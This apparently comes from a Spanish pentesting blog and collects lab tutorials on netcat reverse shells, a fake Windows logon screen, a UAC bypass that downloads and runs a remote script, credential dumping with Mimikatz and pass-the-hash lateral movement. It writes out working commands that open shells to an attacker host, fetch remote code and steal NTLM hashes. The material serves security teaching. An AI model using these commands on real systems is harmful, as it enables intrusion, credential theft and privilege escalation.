Conexiones directas e inversas con Netcat (nc): Obteniendo shells, transferencia de ficheros, banner grabbing y TCP/UDP Scan

Netcat es una herramienta de red que permite a través de intérprete de comandos abrir puertos TCP/UDP en un HOST, asociar una shell a un puerto en concreto y forzar conexiones UDP/TCP.

Para ver ejemplos tendremos una máquina Kali (10.0.0.10) con netcat ya instalado y una máquina Windows (10.0.0.19) donde podemos descargar y usar los binarios de netcat para Windows.

Un ejemplo de uso sencillo donde podemos enviarnos información de texto de una máquina a otra como si de un chat se tratara.

nc sería el comando para invocar a netcat. Windows se queda a la escucha -l a espera de establecer la conexión, en modo verbose -v, en el puerto 1190 -p.

nc -lvp 1190

Kali se conecta iniciando la conexión a la dirección IP de la máquina Windows por el puerto 1190.

nc 10.0.0.10 1190

Figura 1: Conexión con netcat nc.

Ejecutando shells en tipo de conexiones directas e inversas

Figura 2: Esquema de conexiones de shells directas e inversas.

En los próximos escenarios se usarán las siguientes máquinas:

• Kali: 10.0.0.10
• Windows: 10.0.0.19
• Puerto de ejemplo: 1190

Conexión directa

Para crear un conexiones directas entre las máquinas Kali y Windows, la máquina víctima se pondrá a la escucha en un puerto y la máquina atacante se conectará directamente a ella estableciendo la conexión. Estas conexiones pueden ser rechazas por el firewall de la máquina víctima ya que inicialmente la conexión es establecida por la máquina atacante.

• Escenario A: Kali será el atacante y Windows será la víctima.

Windows se pondrá a la escucha en el puerto 1190 ejecutando (ofreciendo ya que está en modo listen -l) una consola Powershell -e.

nc -lvp 1190 -e powershell.exe

Kali se conectará de forma directa estableciendo una conexión a la IP y puerto de la máquina Windows consiguiendo así la Powershell ofrecida.

nc 10.0.0.10 1190

Figura 2: Conexión directa Powershell. Windows listen Kali conecta.

• Escenario B: Kali será la víctima y Windows será el atancate.

Para crear una conexión directa desde una máquina Windows a una máquina Kali (al contrario que el ejemplo anterior).

Kali se pondrá a la escucha en el puerto 1190 sirviendo una shell /bin/bash para ser ejecutada.

nc -lvp 1190 -e /bin/bash

Windows se conectará a la IP y puerto de la máquina Kali y recibirá la ejecución ofrecida, en este caso una shell bash.

nc 10.0.0.19 1190

Figura 3: Conexión directa /bin/bash. Kali listen Windows conecta.

Conexión inversa

Para crear conexiones inversas entre las máquinas Kali y Windows, la máquina atacante se pondrá en un puerto a la escucha y la máquina víctima se conectará a ella. Estas conexiones tienen un mayor éxito de ser establecidas ya que es la máquina víctima es quien inicia la conexión hacia la máquina atacante y esto evitará un posible bloqueo de la conexión en el firewall del equipo víctima.

• Escenario A: Kali será el atacante y Windows será la víctima.

Kali será el atacante que se pondrá a la escucha en el puerto 1190 esperando establecer una conexión.

nc -lvp 1190

Windows será la víctima que se conectará a la máquina Kali ejecutando una cmd en la máquina que espera la conexión que será la máquina atacante. Kali recibirá la conexión y la cmd de la máquina víctima.

nc 10.0.0.19 1190 -e cmd.exe

Figura 5: Conexión inversa cmd. Kali listen Windows connecta.

• Escenario B: Windows será el atacante y Kali será la víctima.

Al contrario que el ejemplo anterior, ahora la máquina Windows será la atacante para recibir una shell bash de la máquina víctima Kali.

Windows es la máquina atacante que se pone a la escucha en el puerto 1190 esperando recibir una conexión por parte de la máquina víctima Kali que tendrá la ejecución de un shell bash. 

nc -lvp 1190

Kali es la máquina víctima que se conecta a la IP y puerto de la máquina atacante ejecutando y consiguiendo así una shell bash para la máquina atacante Windows. 

nc 10.0.0.10 1190 -e /bin/bash

Figura 4: Conexión inversa /bin/bash. Windows listen Kali conecta.

El tráfico generado con netcat no está cifrado por lo que es posible capturarlo y visualizarlo en texto plano.

Figura 6: Análisis del tráfico generado con netcat.

Existe una alternativa similar a netcat llamada cryptcat que emplea comunicaciones cifradas, se trata de un proyecto que no se actualizada desde 2005 está desarrollado en lenguaje C su código fuente está disponible pero será necesario compilarlo con Visual Studio y generar el binario para sistemas Windows.

Transferencia de ficheros

En estos escenarios será el mismo enfoque en ambos, transferir un fichero desde la máquina atacante a la máquina víctima. 

La diferencia radica en el sentido de las conexiones, que máquina estará a la escucha y cual establecerá la primera conexión.

• Escenario A: Envío de un fichero desde la máquina atacante que establece la conexión inicial, hacia la máquina víctima que permanece a la escucha.

Kali será la máquina desde donde queremos enviar el fichero hacia la máquina remota. Establecemos la conexión a la IP y puerto de la máquina Windows indicando el fichero a transferir como entrada de la conexión con el signo menor que <. 

nc 10.0.0.10 1190 < file.exe

Windows recibirá el fichero manteniéndose a la escucha en el puerto 1190 esperando recibir el fichero redireccionando su salida con el signo mayor que >.

nc -lvp 1190 > file.exe

Figura 7: Transferencia de ficheros con netcat.

• Escenario B: Envío de un fichero desde la máquina atacante que permanece a la escucha, hacia la máquina víctima que establece la conexión inicial.

Otra forma de hacerlo sería invirtiendo las conexiones de escucha, aplicando la misma finalidad.

Desde la máquina Kali nos ponemos a la escucha con el fichero.

nc -lvp 1190 < file.exe

Desde la máquina remota Windows establecemos la conexión a la IP y puerto de la máquina Kali indicando como salida el fichero a recibir.

nc 10.0.0.19 1190 > file.exe

Figura 8: Transferencia de ficheros con netcat.

Transferencia de directorios

Para transferir directorios podemos usar el mismo método que enviar un archivo con la diferencia de que previamente podemos comprimir o empaquetar el directorio con tar o zip para posteriormente desempaquetarlo en la máquina destino.

Kali será la máquina donde estará el directorio que queremos transferir, empaquetamos el directorio en un fichero comprimido, hacemos un cat y el fichero comprimido concatenando la salida con una pleca | a netcat donde nos ponemos a la escucha en el puerto 1190 a la espera de recibir una conexión. 

zip data.zip data
cat data.zip | nc -lvp 1190 

Windows será la máquina que recibirá el fichero comprimido que contendrá el directorio, establecemos la conexión a la IP y puerto de la máquina Kali indicando una redirección > y un nombre para el fichero a recibir.

nc 10.0.0.10 1190 > data.zip

Figura 9: Transferencia de directorios (empaquetando el directorio) con netcat.

Envío de información en tiempo real

Com ejemplo usaremos netcat para la transferencia de datos a tiempo real como puede ser un fichero de log.

Kali será la máquina donde se alojará el fichero de log que registra los accesos a un servidor web (/var/log/apache2/access.log), con tail -f e indicando el fichero de log veríamos en pantalla la información actualizándose de forma dinámica en tiempo real, concatenando la salida con un pipe | a netcat IP y puerto hacia la máquina remota Windows que estará a la escucha.

tail -f /var/log/apache2/access.log | nc 10.0.0.10 1190

Windows será la máquina que estará a la escucha en el puerto 1190 a la espera de recibir datos del fichero de log enviado desde la máquina Kali.

nc -lvp 1190

Figura 10: Envío de información en tiempo real de un fichero log con netcat.

Otros usos de netcat

TCP Scan

Podemos usar netcat como herramienta simple para el escaneo de puertos hacia una IP remota, indicando un rango de puertos. El modo de escaneo por defecto es TCP y nos mostrará aquellos puertos y el nombre del servicio/protocolo asociado en caso de que el puerto esté abierto, los puertos cerrados no los mostrará.

• -v: verbose
• -z: modo zero-i/o (solo informe de estado de conexión)
• -n: solo números IP

nc -vzn 10.0.0.11 21-80

Figura 11: TCP Scan - Escaneo de puertos en modo TCP con netcat. 

UDP Scan

Nos permite hacer el mismo escaneo pero usando un modo UDP (parámetro -u). Nos mostrará todos los puertos escaneados, indicando cualquier está abiertos y cerrados, en el caso de los abiertos nos indicará el nombre del servicio/protocolo asociado a ese puerto.

• -u: modo UDP

nc -vzu 10.0.0.11 21-80

Figura 12: UDP Scan - Escaneo de puertos en modo UDP con netcat.

Banner Grabbing

Por último podemos usar netcat para intentar obtener la información del banner de servicios abiertos en las máquinas remotas. Esto se conoce como técnicas Banner Grabbing.

nc 10.0.0.11 22

nc 10.0.0.11 21

Figura 13: Banner Grabbing - Obteniendo información de versión de servicios SSH y FTP con netcat.

Web de referencia

Reverse Shell Generator: https://www.revshells.com

Conclusiones

En un principio puede resultar confuso entender que diferencias existen entre las conexiones directas e inversas con netcat. Para tenerlo claro hay que entender quién será la máquina atacante y quien será la víctima.

En una perspectiva desde una máquina atacante a una máquina víctima. Las conexiones directas el atacante establecerá la conexión inicial conectándose a un puerto a la escucha establecido en la máquina víctima. Las conexiones inversas el atacante se pondrá en un puerto a la escucha esperando recibir un inicio de conexión desde la máquina víctima proporcionando al atacante una shell interactiva en su ejecución.

Aplicando estos conceptos podemos entender el funcionamiento de conexiones que usa Metasploit para ofrecernos un Meterpreter o una Shell de forma directa o inversa. Un ejemplo sería un handler a la escucha y la construcción de un binario ejecutable donde su payload puede ser una instrucción netcat ejecutando una shell o cualquier otro código que deseemos.

Por otro lado, es interesante conocer que con netcat tenemos la posibilidad de realizar TCP/UDP Scan y Banner Grabbing a máquinas remotas. Es cierto que para esto ya tenemos nmap entre otras herramientas pero no está de más tenerlo en cuenta. 

Saludos!

FakeLogonScreen: Conseguir credenciales locales o Active Directory a través de un inicio de sesión en un bloqueo de pantalla falso

FakeLogonScreen es una utilidad desarrollada por @bitsadmin que simula un bloqueo de pantalla de inicio de sesión de Windows 10 falso que se ejecute en el lado del usuario y tiene como finalidad obtener su contraseña de acceso. La contraseña ingresada se valida con Active Directory o la máquina local para asegurarse de que sea correcta.

El usuario y las contraseñas introducidas se envían a la consola (FakeLogonScreen.exe) o se almacenan en un archivo en disco (FakeLogonScreenToFile.exe). Si el usuario configura un fondo personalizado, muestra ese fondo en lugar del predeterminado.

En una fase de post-explotación, donde disponemos de una sesión con una Shell remota, podemos copiar este binario a la máquina comprometida e invocarlo. En consola se mostrarán todas las contraseñas introducidas (en el caso de que la contraseña se escribiese mal) y nos marcará la contraseña con la que se hizo una correcta validación.

Github: https://github.com/bitsadmin/fakelogonscreen

Figura 1: (gif) FakeLogonScreen Windows.

Saludos!

Bypass UAC usando DLL injection en taskmgr.exe aprovechando un fileless de eventvwr.exe (Vídeo PoC)

En un artículo anterior hablara de un bypass fileless en el binario sdclt.exe, también comentara la posibilidad de realizar este método al binario eventvwr.exe. En esta ocasión mostraré como realizar un bypass de UAC usando un DLL Injection aprovechando un método tipo fileless.

Bypass UAC tipo DLL Hijacking

Existen varios tipos de técnicas DLL Hijacking (sideloading, proxying, phantom), la finalidad es conseguir una escalda de privilegios o persistencia en un sistema. Consiste en hacer un "secuestro" de una DLL por la suplantación de otra DLL que ejecute un código arbitrario que le interese a un atacante. 

Cuando se invoca un proceso binario, este busca en los path por defecto configurados en el sistema en un determinado orden de consultas, si la DLL no es encontrada seguirá buscando en la siguiente ruta hasta encontrar la que necesita. Será en ese momento cuando un atacante se anticipe suplantando la DLL original, que no es encontrada en los paths habituales, por la DLL maliciosa. Si el binario se ejecuta en un contexto de integridad alto se consigue el mismo privilegio para esa DLL.

Es la misma idea que las técnicas fileless, teniendo en cuenta el atributo autoElevate a true en el manifest del binario y teniendo una política por defecto de UAC en Windows. 

DLL hijacking requiere escritura en disco por lo que no es tan silencioso como las técnicas fileless, pudiendo no pasar desapercibido por la detección de antivirus.

Como dije hay varios tipos de técnicas DLL hijacking, entre todas ellas está presente la inyección de una DLL, dependerá del contexto en el que se usen y la forma de aplicarlas. Una diferenciación podría ser algo como: 

• DLL Hijacking: "Suplantación" -secuestro- de una carga DLL existente en el proceso de ejecución de un binario.
• DLL Injection: Fuerza la inyección de una nueva DLL en el proceso de un binario previamente en ejecución.

Aprovechando un bypass UAC fileless para usar DLL injection en binarios que no son vulnerables a fileless

En el siguiente escenario no se realiza un DLL Hijacking, sino que se fuerza la inyección de una DLL maliciosa en un proceso binario existente.

Trataré de explicarlo brevemente. La intención es llevar a cabo una explotación local bypassuac sin ningún tipo de interacción por parte del usuario en la máquina comprometida aprovechando la debilidad fileless de casos como eventvwr.exe a otros binarios del sistema que tengan en su manifiesto el atributo AutoElevate a True pero que de forma simple no tienen un bypass tipo fileless, como es el caso de taskmgr.exe. Al ser un binario que se ejecuta en un contexto de integridad alto, se inyectará una DLL maliciosa que contendrá un payload con un Meterpreter estableciendo así una sesión privilegiada en la que podemos impersonar al usuario consiguiendo privilegios de NT AUTHORITY\SYSTEM.

Resumen de pasos del proceso:

1. Para obtener la sesión inicial de conexión a la máquina remota, se crea con msfvenom un binario que tendrá como payload un Meterpreter Windows 10 x64. Esto nos devolverá una sesión en contexto de integridad medio por lo que no podemos impersonar al usuario con getsystem y elevarnos a SYSTEM.
2. ¿Por qué el binario taskmgr.exe?. Comprobando el manifiesto del binario el atributo autoElevate está a true. Pero no existe bypass fileless para taskmgr.exe, sin embargo si para eventvwr.exe.
3. Desde la sesión Meterpreter cargamos los módulo Powershell y desde powershell_run se ejecuta el proceso del taskmgr.exe en modo oculto (-WindowStyle Hidden).
4. Se consulta el PID del proceso taskmgr.exe y se modifica en el script de la función Invoke-DllInjection alojada en un servidor web apache2 de la máquina Kali, este será el script que se ejecutará cuando se invoque el binario eventvwr.exe.
5. Desde powershell_import importamos el un script "eventvwr-reg.ps1" que creará la estructura de ramas del registro necesario para provocar el bypass fileless de eventvwr.exe, en su valor Default tendrá como dato un IEX (Invoke-Expression) con la creación de un nuevo objeto tipo WebClient que descargará en memoria la función Invoke-DllInjeciton de PowerSploit en una línea final del script se invoca esta función con el PID del proceso de taskmgr.exe que previamente hardcodeamos.

Script eventvwr-reg.ps1

$path = "HKCU:\Software\Classes\mscfile\shell\open\command"
$execute = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c `"IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1/codes/invoke-dllinjection.txt')`""
New-Item -Path $path -Force
New-ItemProperty -Path $path -Name '(Default)' -PropertyType String -Value $execute -Force | Out-Null

• 6. Desde Meterpreter con el comando Upload se envía la DLL que nos interesa a la máquina remota (en escritorio simplemente para que sea visible en momento de mostrar esta demo). Esta DLL contiene un shellcode de Meterpreter.
• 7. Siguiendo en la sesión 1, desde powershell_shell manualmente se inicia el proceso del visor de eventos, ejecutando así el eventvwr.exe que también ejecutará el IEX y descargará la función en memoria con la instrucción del PID asignado del proceso taskmgr.exe ejecutado anteriormente de forma oculta.
• 8. Finalmente se establecerá una nueva sesión Meterpreter pero esta vez la sesión establecida en el contexto de integridad alto del proceso de taskmgr.exe, como este tenía un autoElevate a true, podremos ahora impersonar al usuario en la segunda sesión Meterpreter y conseguir la escalada de privilegios a SYSTEM.

Vídeo demo - PoC

En el siguiente vídeo se muestran los pasos anteriores en detalle, llegando a entender mejor el proceso.

Vídeo: https://youtu.be/3H5WORk88vQ

Saludos!

Fingerprinting con PowerShell y envío de información a un servidor FTP (Vídeo PoC)

En un pentesting interno a sistemas, después de la fase de enumeración y poder comprometer una máquina Windows, es fundamental intentar recopilar la máxima información posible sobre dicha máquina, lo que se conoce como la fase de fingerprinting dentro de una post-explotación.

El uso de Powershell nos ayuda principalmente en las fases de post-explotación y fingerprinting para la recolección de información del sistema, usuarios y grupos locales, parches instalados, procesos en ejecución, servicios activos, etc.

En esta ocasión dejo referencia a un script que contiene una función de ejemplo recopilando varios datos de una máquina comprometida y posteriormente enviando estos datos de retorno a un servidor FTP escuchando en la máquina atacante.

Referencia del script Powershell en mi repositorio de Github:

https://raw.githubusercontent.com/adrianlois/Fingerprinting-envio-FTP-PowerShell/master/SysInfo.ps1

Bypass ExecutionPolicy en Powershell usando funciones

Existen multitud de técnicas para la evasión de la política de ejecución de scripts en Powershell, sobre esto hablaré en otro artículo. Una de ellas es a través del uso de funciones y como se cargan en memoria en el provider de funciones.

Al usar una función a través de un script ps1, podemos importar este script a través de una sesión Meterpreter de Metasploit, cargándose en memoria en el provider de funciones de esa instancia Powershell de la máquina remota. No será necesario subir el script a la máquina remota escribiendo en disco, evitando así una posible detección por parte de los antivirus. Es script llevará como extensión .txt y estará alojado en un servidor web apache2, la forma de importarlo será a través del módulo powershell_shell de Meterpreter, una vez conectados ejecutamos un IEX (Invoke-Expression) con el cmdlet Invoke-WebRequest.

# Powershell v1.0/v2.0
IEX (New-Object Net.WebClient).DownloadString('http://web/script.txt')

# Powershell v3.0 y superiores
IEX (Invoke-WebRequest -Uri 'http://web/script.txt' -UseBasicParsing)

Con una función cargada en memoria podremos hacer un bypass de la política de ejecución de scripts de Powershell, independientemente de cual esté establecida en la máquina remota. 

En el siguiente vídeo se observa como la ExecutionPolicy está establecida en Restricted e igualmente podemos importar el script e invocar la función cargada en memoria.

Vídeo demo - PoC

He grabado un vídeo demo que muestra la PoC en la que se compromete una máquina en una fase de explotación típica a través de un fichero que contendrá el Payload de un Meterpreter y que estaremos a la escucha desde el handler de conexiones para establecer una sesión en Metasploit. Se importa el script en formato .txt con un método Invoke-WebRequest (en este caso el formato no tiene demasiada relevancia podría ser directamente .ps1), de esta forma haremos un bypass de la política de ejecución de Powershell en el caso de que estuviese en modo "Restricted". Este script se cargará como una función en memoria, invocándola desde ahí y evadiendo así la política de ejecución de script, recopilará información y la enviará de vuelta a un servidor FTP que estará a la escucha e la máquina Kali.

Vídeo: https://youtu.be/JY33NkpAaeI

Saludos!

Post-Explotación: Movimiento lateral usando técnicas Pass the hash (PtH)

En las fases de explotación de un pentest interno y dando continuidad al artículo de Explotación local: Escalada de privilegios de 0 a SYSTEM con Metasploit. Hoy quiero comentar diversas técnicas que se pueden emplear para realizar movimiento lateral o también conocido como Pass the hash (PtH).

¿Qué es un movimiento lateral usando técnicas Pass the hash?

Movimiento lateral (pivoting) usando Pass the hash es una de la técnicas empleadas para pivotar de una máquina a otra. Una vez que se ha comprometido una máquina, hemos escalado privilegios y conseguimos realizar un volcado de hashes. Podemos utilizar estos hashes para autenticarse en otra máquina que tenga las mismas credenciales que la máquina origen.

Concepto del "Principio de localidad"

En las organizaciones suele ser habitual que el usuario Administrador local u otro usuario que pertenece al grupo de Administradores locales utilice la misma contraseña para todas las máquinas de la empresa o departamento facilitando así el movimiento lateral entre máquinas con la misma cuenta de usuario. Esto se conoce como principio de localidad y suele ser así por motivo de facilitar la administración y gestión de las máquinas corporativas por parte de los departamento de IT de las compañías.

Precisamente por esta razón obtener la información de hashes NTLM es muy importante para un pentester por que nos ayudaría a movernos lateralmente pivotando por las máquinas de la organización intentando encontrar debilidades en otras máquinas.

En el siguiente artículo mostraré varios técnicas de ejemplo en distintos escenarios para lograr el movimiento lateral a través de la obtención de un hash NTLM de un entorno Windows.

• WCE - Windows Credentials Editor
• Mimikatz (pth)
• Módulo Metasploit psexec/smb-pass
• PowerShell: Invoke-TheHash - Función Invoke-WMIExec

WCE - Windows Credentials Editor

WCE o Windows Credentials Editor es una herramienta desarrollada por Amplia Security en la que podemos obtener un volcado de los hashes NTLM almacenados en memoria y usarlos para técnicas de Pass the hash.

En el siguiente escenario existen dos máquinas: 

• Windows 7: PCW7 - 10.0.0.7
• Windows 10: PCW10 10.0.0.10

Tenemos acceso a la máquina Windows en la que tenemos privilegios pero no conocemos la contraseña en plano.

Abrimos una consola e intentamos ejecutar una cmd remota al equipo Windows 10 usando psexec de la suite de PsTools. Como vemos en la captura de pantalla el acceso a sido denegado, esto ocurre por que intenta autenticarse con con usuario/password distintos al que inició el proceso de la cmd.exe.

Con WCE acompañado del argumento -l se listan de sesiones de inicio de sesión y credenciales NTLM. En este caso admin:PCW7:LM:NT (user:hostname:hashLM:hashNT).

Mimikatz: Volcado de hashes NTLM del fichero SAM

Para obtener el hash NTLM del usuario por defecto Administrador local usaremos Mimikatz para realizar un volcado de hashes del fichero SAM. 

Iniciamos Mimikatz, entramos en el modo privilegiado, impersonamos al usuario admin (que forma parte del grupo Administradores locales) para obtener el token de NT AUTHORITY/SYSTEM y poder realizar el volcado de hashes.

mimikatz # privilege::debug

mimikatz # token::elevate

mimikatz # lsadump::sam

Hay que tener en cuenta que si un usuario carece de contraseña, es decir, una password en blanco. Obtendremos un LM hash null: AAD3B435B51404EEAAD3B435B51404EE.

Figura 1: WCE y Mimikatz - Listado de hashes NTLM de las sesiones actuales y volcado de hashes NTLM del fichero SAM. 

Una vez disponemos del hash NTLM del usuario Administrador, salimos de Mimikatz y ejecutamos WCE con el argumento -s para cambiar las credenciales NTLM de la sesión de inicio actual.

Según la sintaxis del comando hay que completar el espacio del hash LM, bastará con rellenar su tamaño con números valor 0 seguido del valor hash NT.

wce.exe -s USER:WORKGROUP:LM:NT

Una vez cambiado el hash para el usuario Administrador si volvemos a listar los usuarios de inicio de sesión con wce -l veremos dos inicios de sesión actuales almacenados, el usuario Admin y el nuevo usuario Administrador.

Para comprobar su funcionalidad probaremos a conectarnos ejecutando una cmd remota a través de psexec este utilizará las credenciales almacenadas del usuario Administrador para autenticarse en el sistema remoto Windows 10.

En la siguiente captura se puede ver como se creó un fichero de prueba C:\pwned.txt en el disco local de la máquina remota Windows 10 (PCW10) donde solo se podemos escribir si somos usuarios privilegiados.

Figura 2: WCE - PoC the PtH y conexión con privilegios hacia el host remoto.

Otra prueba interesante que podemos realizar es montar una unidad del disco local C:\ del equipo remoto Windows 10 haciendo uso del recurso compartido por defecto C$.

net use x: \\IP_remota\c$

Donde x: sería una letra la asignación disponible para la unidad a montar. 

Si listamos la estructura de directorios (dir) podemos ver el fichero pwned.txt creado anteriormente y podremos eliminarlo, verificando así que seguimos teniendo privilegios de modificación en el disco C:\.

Figura 3: Autenticación con privilegios para montar como unidad el recurso compartido C$ de la máquina remota. 

Mimikatz

Con Mimikatz podemos realizar Pass the hash de una forma muy sencilla. Una vez obtenemos el hash NTLM y teniendo acceso físico o una shell remota hacia la máquina. Ejecutamos en la consola de Mimikatz lo siguiente:

sekurlsa::pth /user:<USER> /ntlm:<HASH_NTLM> /domain:WORKGROUP

Esto nos lanzará un nuevo proceso cmd.exe con el usuario que lo hayamos invocado (administrador como se puede ver en la screenshot).

La máquina en la que se realiza al técnica es un equipo Windows 7 llamado PCW7. Con las pstools ejecutamos un psexec para intentar ejecutar una cmd en la máquina remota que será un Windows 10 llamado PCW10 (10.0.0.10). 

Vemos que conseguimos una sesión autenticándonos gracias al access token que hemos definido en Mimikatz para la ejecución de este proceso (cmd.exe). Si la contraseña del administrador local fuera otra y por lo tanto su hash NTLM, esta autenticación fallaría.

Figura 4: Mimikatz (sekurlsa::pth) - Utilizando Pass the hash para autenticarse desde una máquina hacia otra remota.

Metasploit (módulo psexec - SMB)

En Metasploit existe un módulo llamado exploit/windows/smb/psexec. El cual usa algo muy similar a la utilidad de comandos psexec de Sysinternals para poder autenticarse por medio del recurso compartido por defecto ADMIN$ de la máquina remota. Este recurso hace uso del protocolo SMB (Service Message Block) puerto 445. Después de autenticarse, ejecutará el Payload que le indiquemos. 

smbexec: https://sourceforge.net/projects/smbexec/
CVE-1999-0504: https://www.cvedetails.com/cve/CVE-1999-0504/

Antes de poner en práctica esta técnica de movimiento lateral, conseguimos desde otra máquina un movimiento vertical (escalada de privilegios) para realizar un volcado de hashes NTLM usando el módulo "post/windows/gather/smart_hashdump" indicando la sesión comprometida (el script hashdump que se utilizaba dentro de Meterpreter, actualmente se encuentra obsoleto).

Figura 5: Metasploit - Volcado de hashes NTLM usando el módulo /post/windows/gather/smart_hashdump.

Para la prueba de concepto se eliminarán las sesiones previas establecidas (sessions -K). Usamos el módulo tipo exploit "exploit/windows/smb/psexec".

En este módulo es necesario establecer el host remoto en el que queremos hacer target (RHOSTS víctima), el usuario local Administrador y su hash NTLM obtenidos anteriormente desde otra máquina. La sintaxis sería <LM:NTLM> podemos establecer un LM hash null (AAD3B435B51404EEAAD3B435B51404EE) seguido del NTLM hash.

Establecemos un Payload tipo meterpreter/reverse_tcp, indicamos el host local donde obtendremos la shell inversa (la maquina Kali) y finalmente ejecutamos el exploit.

Figura 6: Metasploit - PoC Pass the hash usando el módulo "exploit/windows/smb/psexec".

El módulo usará psexec para autenticarse a través del recurso compartido ADMIN$ ejecutando el payload definido, estableciendo una sesión como Administrador y finalmente obtener el token de "NT AUTHORITY/SYSTEM".

Figura 7: Metasploit - Exploit con éxito a través de la autenticación de recursos compartidos smb (PtH).

PowerShell: Invoke-TheHash - Función Invoke-WMIExec

Otra técnica es empleando la función Invoke-WMIExec del repositorio de Github Invoke-TheHash desarrollada por Kevin Robertson.

Es necesario desactivar la política de restricción de ejecución de scripts. "Set-ExecutionPolicy Unrestricted". Una vez descargado el repositorio e importada la función "Invoke-WMIExec" en PowerShell, simplemente tendremos que indicar el hash NTLM, la IP remota destino, el usuario será el Administrador de la máquina y la instrucción del comando a ejecutar.

Invoke-WMIExec -Hash <hash_NTLM> -Target <IP_remota> -Username Administrador -Command "<instrucción_comando_a_ejecutar>"

En el siguiente escenario no solo realizamos un pass the hash desde la máquina Windows 10 a la máquina Windows 7 sino que también hacemos un movimiento vertical, escalada de privilegios, gracias al hash. Abriendo Powershell con un usuario distinto al cual después ejecutamos indicándole el hash a Invoke-WMIExec, que sería el Administrador local (RID = 500).

Figura 8: PowerShell - Pass the hash usando la función Invoke-WMIExec.

pth-winexe: Pass the hash winexe ejecutando un cmd

pth-winexe es parte de las utilidades que forman la suite de pth-toolkit. Se trata de un pequeño script sh que permite por ejemplo ejecutar un binario conociendo unas credenciales de acceso de una máquina remota que tenga el protocolo SMB a la escucha.

Con el parámetro -U podemos indicarle el dominio o hostname, usuario, passoword o en su defecto el LM hash null (aad3b435b51404eeaad3b435b51404ee) seguido del NTLM hash indicando la IP de la máquina remota y un binario a ejecutar como puede ser un cmd.exe. 

pth-winexe -U <DOMAIN>/<USER>%<HASH_LM:HASH_NTLM> //<Remote_IP> cmd.exe

En la siguiente captura se muestra un ejemplo de Pass the hash a una máquina Windows 10 en un contexto de integridad alta con un usuario administrador indicando su hash y ejecutando una cmd.

Figura 9: pth-winexe - Pass the hash ejecutando un cmd.

Saludos!

Explotación local: Escalada de privilegios de 0 a SYSTEM con Metasploit

A diferencia de la explotación directa o intrusión directa y client-side donde el objetivo es la ejecución de código en una máquina remota con la finalidad de comprometer su seguridad y conseguir una conexión hacia dicha máquina.

En el contexto de Metasploit la explotación local tiene como objetivo el movimiento vertical que será la elevación o escalada de privilegios en una sesión previamente establecida en una máquina remota o directamente tenemos acceso físico a la máquina.

Tipos de explotación:

• Explotación local
• Bypass UAC

Con respecto a los usuarios de la máquina, nos podemos encontrar con 3 escenarios distintos:

• 1. Proceso en un contexto de integridad alto. Administrador (RID = 500):

Figura 1: Contexto de integridad alta.

Será el propio Administrador SYSTEM. O un usuario que pertenece al grupo administradores pero a ejecutado la aplicación como Administrador (botón derecho "Ejecutar como Administrador"). En cualquier caso ya estaríamos en una ejecución en un contexto de integridad alto. No hay una escalada de privilegios como tal pudiendo impersonar al usuario con el token de SYSTEM.

• 2. Proceso en un contexto de integridad medio. Usuario que pertenece al grupo Administradores (Bypass UAC):

Figura 2: Contexto de integridad medio.

El usuario pertenece al grupo Administrador. Pero no ejecuta en un ámbito de Administrador (botón derecho "Ejecutar como Administrador") sino que se ejecuta de forma normal, en un contexto integridad medio, por defecto es así. Y tiene la configuración por defecto establecida del UAC (User Account Control). En este escenario podremos hacer uso de los Bypasses de UAC para elevar privilegios.

• 3. Proceso en un contexto de integridad bajo. Usuario sin ningún privilegio:

Figura 3: Contexto de integridad bajo.

El usuario pertenece al grupo de Usuarios locales o Invitado sin ningún tipo de privilegio, se ejecuta en un contexto de integridad bajo. Es el caso más complejo ya que habrá que buscar alguna configuración débil en servicios, vulnerabilidades en el propio sistema operativo (falta de la aplicación de parches de seguridad), drivers, software que se esté ejecutando con privilegios, etc., que nos permiten elevarnos a SYSTEM.

Partiendo de la base de que ya disponemos de una sesión Meterpreter establecida en la máquina remota, expondré los diferentes escenarios comentados anteriormente.

1. Proceso en un contexto integridad alto. Administrador (RID = 500)

En este caso disponemos del usuarios Administrador SYSTEM el cual con la configuración por defecto de UAC ya ejecuta un proceso en integridad alto.

Listamos los permisos actuales (getprivs). Ejecutamos una shell dentro de Meterpreter para identificar a que grupo local pertenece.

Figura 4: Obtención de privilegios del usuario Administrador.

Vemos que ya forma parte del grupo de Administradores locales del sistema.

En esta situación podemos impersonar al usuario Administrador con getsystem y así concederle el token de SYSTEM. Dejamos la sesión Meterpreter en segundo plano (background) y comprobamos que en la misma sesión el usuario ahora es NT AUTHORITY\SYSTEM y no el Administrador que teníamos al principio.

Figura 5: Impersonar al usuario Administrador local con getsystem para obtener el token de SYSTEM.

2. Proceso contexto integridad medio. Usuario que pertenece al grupo Administradores (Bypass UAC)

En este escenario hemos conseguido una sesión Meterpreter remota con un usuario del sistema local que pertenece al grupo Administradores locales y que ha ejecutado el proceso comprometido sin privilegios (botón derecho ejecutar como Administrador) pero tiene establecida la configuración por defecto del UAC, por lo tanto podemos probar diversas técnicas para realizar un bypass de UAC tipo Fileless o DLL Hijacking.

Un bypass de UAC tipo fileless es más "silencioso" para los software de antimalware que pueda tener instalado el equipo ya que no realiza escritura en disco. Existen varios binarios nativos en Windows susceptibles a esta técnica, un ejemplo sería el "Bypass UAC Fileless usando AppPaths sdclt.exe".

Invocamos una shell dentro de la sesión y vemos que el usuario pertenece al grupo Administradores pero cuando listamos los privilegios (getprivs) vemos que son escasos donde el proceso se ejecutó en un nivel de integridad media y que efectivamente el proceso no se ejecutó como administrador.

Intentamos impersonar al usuario "admin" sin éxito. No podemos obtener el token de NT AUTHORITY\SYSTEM.

Figura 6: Intento de impersonar a un usuario que pertenece al grupo administradores locales.

Para la escalada de privilegios usaremos un bypass de UAC. Mediante el uso del editor de certificados de confianza se generará un proceso con el flag del UAC desactivado consiguiendo así un contexto de integridad alto. Esto dependerá de que tipo de sistema operativo Windows se trate, no es lo mismo un Windows 7/8/8.1/10 ya que los casos de byspass de UAC fileless dependerá de la existencia de los binarios en según que versiones.

Salimos de la sesión dejándola en background. Usamos el módulo "exploit/windows/local/bypassuac"  el cual hará un bypass UAC fileless (que afecta al "editor de certificados de confianza") y establecemos los parámetros del host local (nuestra máquina Kali), la sesión meterpreter, el payload (código que se va ejecutar) será un meterpreter reverse_tcp y lanzamos el exploit.

Si se cumplen las condiciones de que la configuración del UAC está por defecto y el usuario comprometido pertenece al grupo Administradores, el exploit tendrá éxito. Se creará una nueva sesión y si listamos los privilegios veremos que ya disponemos de privilegios más altos.

